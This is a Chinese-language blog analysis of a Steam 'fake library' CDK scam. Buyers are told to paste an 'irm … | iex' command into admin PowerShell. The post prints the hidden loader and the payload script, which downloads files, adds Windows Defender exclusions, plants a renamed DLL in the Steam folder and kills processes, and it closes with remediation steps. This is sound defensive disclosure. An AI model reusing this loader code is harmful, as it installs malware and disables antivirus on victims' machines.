这段时间刷文章,发现有很多无良商家通过 Steam「假入库」的方式出售低价游戏 CDK。所谓「假入库」,指的是某些游戏在 Steam 平台上显示为已添加至玩家的游戏库中,但实际上并未真正拥有该游戏的情况。这一现象不仅影响了玩家的游戏体验,还可能让玩家的系统感染病毒,甚至让你的 Steam 账号吃红信。本文旨在深入探讨 Steam 平台「假入库」的技术实现机制,包括但不限于其背后的代码逻辑、可能的技术漏洞以及防范措施。
请注意:本文所提供的所有信息、代码示例和技术分析仅供学术研究和学习交流之用,不得用于非法目的或商业用途。
作者和发布平台不对本文中提到的任何技术细节、代码示例或分析结果的准确性、完整性、可靠性或适用性做出任何明示或暗示的保证。对于因使用本文内容而直接或间接引起的任何损失或损害,包括但不限于数据丢失、利润损失或业务中断,作者和发布平台概不承担任何法律责任。
读者在阅读和使用本文提供的信息时,应自行判断其适用性和安全性,并采取适当的安全措施。如需进行任何技术操作,请确保遵守相关法律法规,并咨询专业人士的意见。
0x01 一切都要从 Invoke-RestMethod 说起
irm
,全称为 Invoke-RestMethod
,是 PowerShell 中用于发送 HTTP 请求(GET、POST 等)并处理响应的首选工具。我们钻研小组通过海量案例分析与收集,发现商家大部分的话术是这样的:
- 按住键盘 Win + X,找到 Windows Powershell(管理员)(A)
- 输入
irm [数据删除]|iex
通常这里商家还会善意的提醒你使用复制粘贴,不要手打 - 按回车执行,等待运行完毕
- 在自动启动的 Steam 左下角输入发你的 CDK 完成激活
乍一看好像没什么问题,然而问题就出在这里。
还记得我们之前讲的什么吗?Invoke-RestMethod
通过发送 HTTP 请求从指定的 URL 获取数据。那么这段代码拆开来就是:
Invoke-RestMethod [数据删除] | iex
也就是由 PowerShell 发起请求,下载脚本通过管道符给 iex
。
0x02 不像好人的 Invoke-Expression
iex
在 PowerShell 中是 Invoke-Expression
的缩写,类似于 JavaScript 中的 eval()
,通常用于执行一段命令。
Invoke-RestMethod [数据删除] | Invoke-Expression
从上面的代码中我们不难看出,Invoke-RestMethod
通过发送 HTTP 请求从指定的 URL 获取数据,这段数据通过管道符 |
传输给 Invoke-Expression
执行。这不就是典型的「下载一个未知脚本然后执行它」嘛!
0x03 开始分析
既然我们知道了这段命令的意思,那么出于研究的态度~~(绝对不是好奇)~~,我们自然要看看这个脚本到底执行了些什么操作。很多聪明的人(可能是你)打开浏览器就访问,发现跳转到了 Steam 官方页面(居然是真官方)。
聪明的你一定猜出来了,这是基于 User-Agent 判断的是否跳转,通过 Microsoft 的官方文档 我们可以轻松得知 PowerShell 发起请求的 User-Agent 头大概长这样(每个操作系统和平台都有细微的变化):
Mozilla/5.0 (Windows NT 10.0; Microsoft Windows 10.0.15063; en-US) PowerShell/6.0.0
通过这个头在 Apifox 中请求,可以得到一个类型为 /
的二进制(Apifox 这么说的)程序,打开来看,大概是这样的:
<#<!DOCTYPEhtml><htmlxmlns="http://www.w3.org/1999/xhtml"><head><metahttp-equiv="Content-Type"content="text/html;charset=utf-8"/><metahttp-equiv="x-dns-prefetch-control"content="on"/><metahttp-equiv="X-UA-Compatible"content="IE=edge"><metaname="renderer"content="webkit"><metaname="viewport"content="width=device-width,initial-scale=1,maximum-scale=1,user-scalable=no">[省略一大段]<spancla#>$headers = @{"Authorization"="Bearer fucxxxxxkuuuuuuuuuuuuuuuuuuuuuuuu"};<#{success:function(json){if(json.code!=0)#><#ss="slash">|</span><aval[省略一大段](this type is mostly video#>Invoke-WebRequest -Uri "[数据删除]/673dc44885880.pak" -OutFile a.ps1 -Headers $headers;<#3. Please read more comments and content[省略一大段]#>
借助着配色你应该不难看出,这一大段代码其实是 PowerShell 代码。虽然和我共同工作的朋友(以及云沙箱)一致认定这玩意肯定和 HTML 有关,但是别忘记了 <#
和 #>
在 PowerShell 中可是块注释,这段代码可以说是隐藏的非常好了!
提取出来代码,大概长这样:
$headers = @{"Authorization"="Bearer fucxxxxxkuuuuuuuuuuuuuuuuuuuuuuuu"};
Invoke-WebRequest -Uri "[数据删除]/673dc44885880.pak" -OutFile a.ps1 -Headers $headers;
我不清楚作者为什么会添加一个看上去很奇怪的 Authorization
头,实际测试发现带不带头都会返回数据。下面我们来详解一下这个加载器下载的数据吧!
0x04 核心代码详解
黑客也略懂一些艺术
以下代码的作用就是设置运行编码,清屏然后输出艺术字,这个艺术字可以在 Text to ASCII Art Generator (TAAG) 网站生成。
Clear-Host
#Requires -RunAsAdministrator
[Console]::OutputEncoding = [System.Text.Encoding]::UTF8
$ErrorActionPreference = "SilentlyContinue"
Write-Host -NoNewline " `r"
Write-Host -NoNewline " %@@@@@@@@@@@@ `r"
Write-Host -NoNewline " @@@@@@@@@@@@@@@@@@@@@@ `r"
Write-Host -NoNewline " %@@@@@@@@@@@@@@@@@@@@@@@@@@@@ `r"
Write-Host -NoNewline " @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ `r"
Write-Host -NoNewline " @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@: `r"
Write-Host -NoNewline " %@@@@@@@@@@@@@@@@@@@@@@@@: %@@@@@@ `r"
Write-Host -NoNewline " @@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@ @@@@@ `r"
Write-Host -NoNewline " @@@@@@@@@@@@@@@@@@@@@@@ @ @ :@@@@ `r"
Write-Host -NoNewline " @@@@@@@@@@@@@@@@@@@@@@@ @ :@ @@@@ `r"
Write-Host -NoNewline " @@@@@@@@@@@@@@@@@@@@@@@ @ -@ @@@@@ `r"
Write-Host -NoNewline " @@@@@@@@@@@@@@@@@@@@@@@@ @ @ @@@@@@ `r"
Write-Host -NoNewline " @@@@@@@@@@@@@@@@@@@@@@ @ @ @@@@@@@ `r"
Write-Host -NoNewline " *@@@@@@@@@@@@@@@@@@@@. @ @ @@@@@@@@ `r"
Write-Host -NoNewline " *@@@@@@@@@@@@@@@ @@@@@@@@@ @@@@@@@@@ `r"
Write-Host -NoNewline " +@@@@@@@@@@ @@@@@@@@@@ `r"
Write-Host -NoNewline " +@@ @@@@@@@@@@@@ `r"
Write-Host -NoNewline " @@@@@ @@@@@@@@@@@@@@@ `r"
Write-Host -NoNewline " @ @@@@@@@@@@@@@@@@@@@ `r"
Write-Host -NoNewline " @@@ @ @@@@@@@@@@@@@@@@@@@@@@@@% `r"
Write-Host -NoNewline " @@@@@@ @ @ -@@@@@@@@@@@@@@@@@@@@@@@@ `r"
Write-Host -NoNewline " .@@@@@@ @ @ @@@@@@@@@@@@@@@@@@@@@@@@ `r"
Write-Host -NoNewline " @@@@@@- @@@@@@ @@@@@@@@@@@@@@@@@@@@@@@% `r"
Write-Host -NoNewline " @@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@ `r"
Write-Host -NoNewline " @@@@@@@@: @@@@@@@@@@@@@@@@@@@@@@@@@ `r"
Write-Host -NoNewline " *@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ `r"
Write-Host -NoNewline " @@@@@@@@@@@@@@@@@@@@@@@@@@@@@ `r"
Write-Host -NoNewline " @@@@@@@@@@@@@@@@@@@@@@@% `r"
Write-Host -NoNewline " @@@@@@@@@@@@@@@+ `r"
Write-Host -NoNewline " _____ _____ _____ _____ _____ `r"
Write-Host -NoNewline " /\ \ /\ \ /\ \ /\ \ /\ \ `r"
Write-Host -NoNewline " /::\ \ /::\ \ /::\ \ /::\ \ /::\____\ `r"
Write-Host -NoNewline " /::::\ \ \:::\ \ /::::\ \ /::::\ \ /::::| | `r"
Write-Host -NoNewline " /::::::\ \ \:::\ \ /::::::\ \ /::::::\ \ /:::::| | `r"
Write-Host -NoNewline " /:::/\:::\ \ \:::\ \ /:::/\:::\ \ /:::/\:::\ \ /::::::| | `r"
Write-Host -NoNewline " /:::/__\:::\ \ \:::\ \ /:::/__\:::\ \ /:::/__\:::\ \ /:::/|::| | `r"
Write-Host -NoNewline " \:::\ \:::\ \ /::::\ \ /::::\ \:::\ \ /::::\ \:::\ \ /:::/ |::| | `r"
Write-Host -NoNewline " ___\:::\ \:::\ \ /::::::\ \ /::::::\ \:::\ \ /::::::\ \:::\ \ /:::/ |::|___|______ `r"
Write-Host -NoNewline " /\ \:::\ \:::\ \ /:::/\:::\ \ /:::/\:::\ \:::\ \ /:::/\:::\ \:::\ \ /:::/ |::::::::\ \ `r"
Write-Host -NoNewline "/::\ \:::\ \:::\____\ /:::/ \:::\____\/:::/__\:::\ \:::\____\/:::/ \:::\ \:::\____\/:::/ |:::::::::\____\`r"
Write-Host -NoNewline "\:::\ \:::\ \::/ / /:::/ \::/ /\:::\ \:::\ \::/ /\::/ \:::\ /:::/ /\::/ / ~~~~~/:::/ /`r"
Write-Host -NoNewline " \:::\ \:::\ \/____/ /:::/ / \/____/ \:::\ \:::\ \/____/ \/____/ \:::\/:::/ / \/____/ /:::/ / `r"
Write-Host -NoNewline " \:::\ \:::\ \ /:::/ / \:::\ \:::\ \ \::::::/ / /:::/ / `r"
Write-Host -NoNewline " \:::\ \:::\____\ /:::/ / \:::\ \:::\____\ \::::/ / /:::/ / `r"
Write-Host -NoNewline " \:::\ /:::/ / \::/ / \:::\ \::/ / /:::/ / /:::/ / `r"
Write-Host -NoNewline " \:::\/:::/ / \/____/ \:::\ \/____/ /:::/ / /:::/ / `r"
Write-Host -NoNewline " \::::::/ / \:::\ \ /:::/ / /:::/ / `r"
Write-Host -NoNewline " \::::/ / \:::\____\ /:::/ / /:::/ / `r"
Write-Host -NoNewline " \::/ / \::/ / \::/ / \::/ / `r"
Write-Host -NoNewline " \/____/ \/____/ \/____/ \/____/ `r"
(感觉黑客都很喜欢炫技)这段代码作用就是给你唬住,让你觉得欸这是官方的安装工具。
接下来这段就有点意思了,在我分析的几百个不同的样本中,有很多种下载的方法,这里挑几个和大家分享一下:
下载
方案一:忽视风险,直接下载!
这种方案在攻击者上传时间为 2024 年 9 月 30 日 16:16 的样本中最先发现,方法是定义一些下载地址,然后直接使用 Invoke-WebRequest
下载,可谓是非常的不安全。
$kb250Zip = "[数据删除]:8066/uploads/66fa5e6c5a024.pak"
$hidTxt = "[数据删除]:8066/uploads/66fa5e6c974ab.pak"
$appdata = "[数据删除]:8066/uploads/66fa5e6d53acc.pak"
<# 需要下载的时候.. #>
# $ProgressPreference = 'SilentlyContinue'
Invoke-WebRequest -Uri $kb250Zip -OutFile $savePathZip -ErrorAction Stop
方案二:蓝奏云,启动!
这种方案在攻击者上传时间为 2024 年 11 月 7 日 00:33 的样本中最先发现~~(你看他都钻研到半夜了)~~,方法是定义一个从蓝奏云下载的函数,然后使用 Invoke-WebRequest
下载,可以看到他还是非常钟爱 Invoke-WebRequest
。
function Get-DownloadUrl
{
param (
[string]$fid,
[string]$p = $null
)
$baseUrl = 'https://lanzoup.com'
$ProgressPreference = 'SilentlyContinue'
$response = Invoke-WebRequest -Uri "$baseUrl/$fid" -Headers @{ 'User-Agent' = '' }
$content = $response.Content
$iframeUrl = [regex]::Match($content, '<iframe class="ifr2" .*? src="(.*?)" .*?></iframe>').Groups[1].Value
if ($iframeUrl)
{
$ProgressPreference = 'SilentlyContinue'
$response = Invoke-WebRequest -Uri "$baseUrl$iframeUrl" -Headers @{ 'User-Agent' = '' } -Method Post
$content = $response.Content
$sign = [regex]::Match($content, "'sign':'(.*?)',").Groups[1].Value
}
else
{
$sign = [regex]::Match($content, "var skdklds = '(.*?)';").Groups[1].Value
}
if (-not$sign)
{
return
}
$urlMatch = [regex]::Match($content, "url : '(.*?)',").Groups[1].Value
if (-not$urlMatch)
{
return
}
$headers = @{
'User-Agent' = ''
'Referer' = $response.BaseResponse.ResponseUri.AbsoluteUri
}
$body = @{ 'action' = 'downprocess'; 'sign' = $sign; 'kd' = 1 }
if ($null -ne $p)
{
$body['p'] = $p
}
$ProgressPreference = 'SilentlyContinue'
$response = Invoke-RestMethod -Uri "$baseUrl$urlMatch" -Headers $headers -Method Post -Body $body
if ($null -eq $response)
{
return
}
$dom = $response.dom
if (-not$dom)
{
return
}
$downloadUrl = $response.url
if (-not$downloadUrl)
{
return
}
return "$dom/file/$downloadUrl"
}
<# 需要下载的时候.. #>
$savePathZip = Join-Path $targetDirectory "legit"
$kb250Zip = Get-DownloadUrl -fid 'iJkeF2egaxcd'
# $ProgressPreference = 'SilentlyContinue'
Invoke-WebRequest -Uri $kb250Zip -Headers @{ 'Accept-Language' = 'zh-CN' } -OutFile $savePathZip -ErrorAction Stop
攻击者在 2024 年 11 月 7 日 00:33 时上传了多份样本,这些样本其实并不完全使用蓝奏云进行文件分发,然而在近期(11.21)观测到的样本中,使用蓝奏云下载明显被提升为了首要下载方案!
另外不知道是作者脑子抽风还是哪里短路了,在 2024 年 11 月 7 日 00:59 的一份编号为 672ba05f10ffc
的文件中定义了两次 Get-DownloadUrl
,虽然两次定义的内容不同(新的定义附在下方)。
function Get-DownloadUrl
{
param (
[string]$fid,
[string]$p = $null
)
$baseUrl = 'https://lanzoup.com'
$response = Invoke-WebRequest -Uri "$baseUrl/$fid" -Headers @{ 'User-Agent' = '' }
$content = $response.Content
$iframeUrl = [regex]::Match($content, '<iframe class="ifr2" .*? src="(.*?)" .*?></iframe>').Groups[1].Value
if ($iframeUrl)
{
$response = Invoke-WebRequest -Uri "$baseUrl$iframeUrl" -Headers @{ 'User-Agent' = '' } -Method Post
$content = $response.Content
$sign = [regex]::Match($content, "'sign':'(.*?)',").Groups[1].Value
}
else
{
$sign = [regex]::Match($content, "var skdklds = '(.*?)';").Groups[1].Value
}
if (-not$sign)
{
return
}
$urlMatch = [regex]::Match($content, "url : '(.*?)',").Groups[1].Value
if (-not$urlMatch)
{
return
}
$headers = @{
'User-Agent' = ''
'Referer' = $response.BaseResponse.ResponseUri.AbsoluteUri
}
$body = @{ 'action' = 'downprocess'; 'sign' = $sign; 'kd' = 1 }
if ($null -ne $p)
{
$body['p'] = $p
}
$postResponse = Invoke-RestMethod -Uri "$baseUrl$urlMatch" -Headers $headers -Method Post -Body $body
if ($null -eq $postResponse)
{
return
}
$dom = $postResponse.dom
if (-not$dom)
{
return
}
$downloadUrl = $postResponse.url
if (-not$downloadUrl)
{
return
}
return "$dom/file/$downloadUrl"
}
try!
接下来是一个大大的 try...catch
结构,里面大概写了这些内容:
# 定义要删除的文件路径
$filePathToDelete = "a.ps1"
# 检查文件是否存在,如果存在则删除
if (Test-Path $filePathToDelete) {
Remove-Item -Path $filePathToDelete -Force
}
# 定义目标目录路径为 APPDATA 下的 "Stool" 文件夹
$targetDirectory = Join-Path $env:APPDATA "Stool"
# 检查目标目录是否存在,如果不存在则创建
if (-not(Test-Path $targetDirectory)) {
New-Item -Path $targetDirectory -ItemType Directory | Out-Null
}
# 定义压缩文件的保存路径
$savePathZip = Join-Path $targetDirectory "legit"
# 如果压缩文件路径已存在,强制删除它
if (Test-Path $savePathZip) {
Remove-Item -Path $savePathZip -Force -ErrorAction Stop
}
# 输出提示信息,为用户提供操作进度反馈
Write-Host ""
Write-Host ""
Write-Host " [STEAM] 激活进程准备中,请稍候..."
# 定义 Steam 的注册表路径
$steamRegPath = 'HKCU:\Software\Valve\Steam'
# 获取注册表中 Steam 安装路径
$steamPath = (Get-ItemProperty -Path $steamRegPath -Name 'SteamPath').SteamPath
# 如果未能找到 Steam 路径,提示用户重新安装 Steam 并退出
if ($null -eq $steamPath) {
Write-Host " [STEAM] Steam 可能没有正确安装,请重新安装 Steam 后再试" -ForegroundColor Red
exit
}
# 获取 Steam 的可执行文件路径
$exePath = (Get-ItemProperty -Path $steamRegPath -Name 'SteamExe').SteamExe
# 获取 Steam 的进程 ID
$exePid = (Get-ItemProperty -Path ($steamRegPath + "\ActiveProcess") -Name 'pid').pid
# 如果 Steam 进程 ID 存在,尝试结束该进程
if ($null -ne $exePid) {
Stop-Process -Id $exePid -ErrorAction SilentlyContinue
}
# 定义 Steamtools 注册表路径
$registryPath = "HKCU:\Software\Valve\Steamtools"
# 如果 Steamtools 注册表项不存在,则创建该项
if (-not(Test-Path $registryPath)) {
New-Item -Path $registryPath -Force | Out-Null
}
# 设置 Steamtools 注册表项中的 "packageinfo" 属性为空值
Set-ItemProperty -Path $registryPath -Name "packageinfo" -Value "" | Out-Null
# 获取当前运行的与 Steam 相关的进程(排除名字包含 "steam++" 的进程)
$runningProcess = Get-Process | Where-Object { $_.ProcessName -imatch "^steam" -and $_.ProcessName -notmatch "^steam\+\+" }
# 逐个终止这些进程
$runningProcess | ForEach-Object {
Stop-Process $_ -Force
}
# 检查当前用户是否为管理员用户组的一员
if (-not$( [bool]([Security.Principal.WindowsIdentity]::GetCurrent().Groups -match 'S-1-5-32-544') )) {
Write-Host " [STEAM] 请使用管理员模式运行" -ForegroundColor Red
}
# 等待 Steam 相关进程完全退出
$waitTimes = 10
while (Get-Process | Where-Object { $_.ProcessName -imatch "^steam" -and $_.ProcessName -notmatch "^steam\+\+" }) {
Start-Sleep -Seconds 1 # 每次等待 1 秒
$waitTimes-- # 减少等待次数计数
if ($waitTimes -lt 0) { # 如果等待时间超时,退出循环
break
}
}
继续,接下来才是重头戏:
# 设置 PowerShell 的进度显示模式为静默模式(不显示下载进度)
$ProgressPreference = 'SilentlyContinue'
# 使用 Invoke-WebRequest 下载一个 zip 文件到指定路径,若失败则触发错误处理
Invoke-WebRequest -Uri $kb250Zip -OutFile $savePathZip -ErrorAction Stop
# 定义一个日志文件的保存路径
$savePathTxt = Join-Path $targetDirectory "winhttp-log.txt"
# 检查名为 "windefend" 的服务(Windows Defender 是否运行中)
if (Get-Service | where-object { $_.name -eq "windefend" -and $_.status -eq "running" }) {
# 如果 Windows Defender 正在运行,则为 Steam 目录和目标目录设置排除规则
Add-MpPreference -ExclusionPath $steamPath -ExclusionExtension 'exe', 'dll'
Add-MpPreference -ExclusionPath $targetDirectory -ExclusionExtension 'exe', 'dll'
# 输出提示信息,表示环境安全
Write-Host -NoNewline " [STEAM] 已通过 Windows Defender 检测,环境安全"
Write-Host "[√]" -ForegroundColor Green
} else {
# 如果 Windows Defender 没有运行,直接输出提示信息
Write-Host -NoNewline " [STEAM] 已通过 Windows Defender 检测,环境安全"
Write-Host "[√]" -ForegroundColor Green
}
# 定义一个 VDF 文件(可能是 Steam 配置文件)的保存路径
$savePathVdf = Join-Path $localPath "appdata.vdf"
# 检查目标路径下是否存在 appdata.vdf 文件,如果存在则删除
if (Test-Path $savePathVdf) {
Remove-Item -Path $savePathVdf -Force -ErrorAction Stop
}
# 再次设置进度显示为静默模式(不显示下载进度)
$ProgressPreference = 'SilentlyContinue'
# 使用 Invoke-WebRequest 下载一个文件到 VDF 文件路径,若失败则触发错误处理
Invoke-WebRequest -Uri $appdata -OutFile $savePathVdf -ErrorAction Stop
# 再次设置进度显示为静默模式(不显示下载进度)
$ProgressPreference = 'SilentlyContinue'
# 使用 Invoke-WebRequest 下载一个「日志文件」到指定路径,若失败则触发错误处理
Invoke-WebRequest -Uri $hidTxt -OutFile $savePathTxt -ErrorAction Stop
# 定义一个包含需要清理文件名的数组
foreach ($file in @("steam.cfg", "version.dll", "user32.dll")) {
# 将文件名与 Steam 安装路径结合,构成完整路径
$filePath = Join-Path $steamPath $file
# 检查文件是否存在,如果存在则强制删除
if (Test-Path $filePath) {
Remove-Item $filePath -Force
}
}
# 将下载的日志文件重命名并移动到 Steam 安装路径下,命名为 "hid.log"
$steamTxt = Join-Path $steamPath "hid.log"
Move-Item -Path $savePathTxt -Destination $steamTxt -Force -ErrorAction Stop
# 检查日志文件是否仍在原路径,若存在则删除(避免重复文件)
if (Test-Path $savePathTxt) {
Remove-Item $savePathTxt -Force
}
# 修改日志文件扩展名,将 "hid.log" 改为 ".dll"
$d_path = [System.IO.Path]::ChangeExtension($steamTxt, ".dll")
# 如果目标路径下已存在 ".dll" 文件,先删除以避免冲突
if (Test-Path $d_path) {
Remove-Item $d_path -Force -ErrorAction Stop
}
# 将 "hid.log" 文件重命名为 ".dll"
Rename-Item -Path $steamTxt -NewName $d_path -Force -ErrorAction Stop
# 检查 Steam 可执行文件路径是否存在,若不存在则尝试重新定义路径为 "steam.exe"
if (-not(Test-Path $exePath)) {
$exePath = Join-Path $steamPath "steam.exe"
}
# 如果 Steam 可执行文件存在,调用 Steam 的激活命令
if (Test-Path $exePath) {
Invoke-Expression -Command "start steam://open/activateproduct"
} else {
# 如果 Steam 可执行文件不存在,提示错误并退出脚本
Write-Host " [STEAM] 主进程 $exePath 丢失,安装失败"
exit
}
# 提示用户激活过程已准备好,并等待 Steam 打开
Write-Host " [STEAM] 激活进程准备就绪,Steam 打开中,请稍候..."
# 倒计时 10 秒,提示用户窗口即将关闭
for ($i = 9; $i -ge 0; $i--) {
Write-Host "`r [STEAM] 本窗口将在 $i 秒后关闭..." -NoNewline
Start-Sleep -Seconds 1
}
# 获取当前脚本所在的进程实例
$instance = Get-CimInstance Win32_Process -Filter "ProcessId = '$PID'"
# 追踪当前进程的父进程,直到找到非 PowerShell 或终端进程
while ($null -ne $instance -and -not($instance.ProcessName -ne "powershell.exe" -and $instance.ProcessName -ne "WindowsTerminal.exe")) {
$parentProcessId = $instance.ProcessId # 保存当前进程的 ID
$instance = Get-CimInstance Win32_Process -Filter "ProcessId = '$( $instance.ParentProcessId )'" # 跟踪父进程
}
# 如果找到了父进程,尝试强制终止它
if ($null -ne $parentProcessId) {
Stop-Process -Id $parentProcessId -Force -ErrorAction SilentlyContinue
}
# 退出脚本
exit
这段脚本做了这些事情:
-
初始化和环境清理
- 删除旧的脚本文件(
a.ps1
),确保无残留文件,避免被追查。 - 检查或创建工作目录(
APPDATA\Stool
)。 - 删除工作目录下的旧文件(如
legit
和appdata.vdf
)。
- 删除旧的脚本文件(
-
资源文件下载
- 下载一个压缩文件并保存为
legit
。 - 下载一个配置文件并保存为
appdata.vdf
。 - 下载日志文件并保存为
winhttp-log.txt
。
- 下载一个压缩文件并保存为
-
Windows Defender 检测与排除设置
- 检测 Windows Defender 服务是否运行。
- 如果运行中,设置以下路径为 Defender 的排除项:
- Steam 安装路径(排除
.exe
和.dll
文件)。 - 工作目录(排除
.exe
和.dll
文件)。
- Steam 安装路径(排除
- 输出提示信息,告知用户环境已通过安全检测。
-
日志文件重命名与处理
- 将下载的日志文件(
winhttp-log.txt
)移动到 Steam 路径下,命名为hid.log
。 - 将日志文件扩展名改为
.dll
,以与动态链接库文件兼容。 - 删除可能存在的旧
.dll
文件,避免冲突。
- 将下载的日志文件(
-
Steam 环境检测与激活
- 从注册表中获取 Steam 的安装路径和执行文件路径:
- 如果路径缺失,尝试重新定义路径为
steam.exe
。
- 如果路径缺失,尝试重新定义路径为
- 检查 Steam 主程序(
steam.exe
)是否存在:- 若存在,调用
steam://open/activateproduct
激活窗口。 - 若不存在,提示错误并退出脚本。
- 若存在,调用
- 从注册表中获取 Steam 的安装路径和执行文件路径:
-
相关文件和进程清理
- 删除 Steam 目录中的旧文件(如
steam.cfg
、version.dll
和user32.dll
)。 - 终止所有正在运行的 Steam 相关进程(排除
steam++
)。 - 等待 Steam 进程完全退出。
- 删除 Steam 目录中的旧文件(如
-
脚本运行和父进程管理
- 提供 10 秒倒计时提示用户窗口即将关闭。
- 追踪当前脚本的父进程链,找到脚本启动的原始进程。
- 如果找到非 PowerShell 或终端的父进程,尝试强制终止它。
-
脚本退出
- 确保所有操作完成后调用
exit
,清理运行环境并退出。
- 确保所有操作完成后调用
catch!
catch
{
Write-Host "发生错误:$( $_.Exception.Message )"
}
如果任何一项遇到报错,则输出错误然后退出。
0x05 DLL 分析
(有时间记得补上 @WolfYangFan)
0x06 补救措施
根据脚本的代码,我们可以得出以下补救措施:
- 立即使用任务管理器终止 Steam 进程
- 卸载 Steam 并移除目录下的
hid.dll
- 执行以下代码或手动移除 (
Remove-MpPreference
) 信任项
$steamPath = (Get-ItemProperty -Path 'HKCU:\Software\Valve\Steam' -Name 'SteamPath').SteamPath
$targetDirectory = Join-Path $env:APPDATA "Stool"
Remove-MpPreference -ExclusionPath $steamPath -ExclusionExtension 'exe', 'dll'
Remove-MpPreference -ExclusionPath $targetDirectory -ExclusionExtension 'exe', 'dll'
- 全盘查杀,随后重装 Steam
- 确认
Get-ExecutionPolicy
的结果为Restricted
,加入了开发者计划的可能为RemoteSigned
,如果不是请Set-ExecutionPolicy
(部分人说需要Set-ExecutionPolicy -ExecutionPolicy Restricted -Scope CurrentUser
)。详细信息
Microsoft 宣称 Set-ExecutionPolicy
的默认范围是 LocalMachine
,这会影响使用该计算机的每个人。
0x08 结语
本篇内容就到这里啦,有什么不懂的欢迎留言。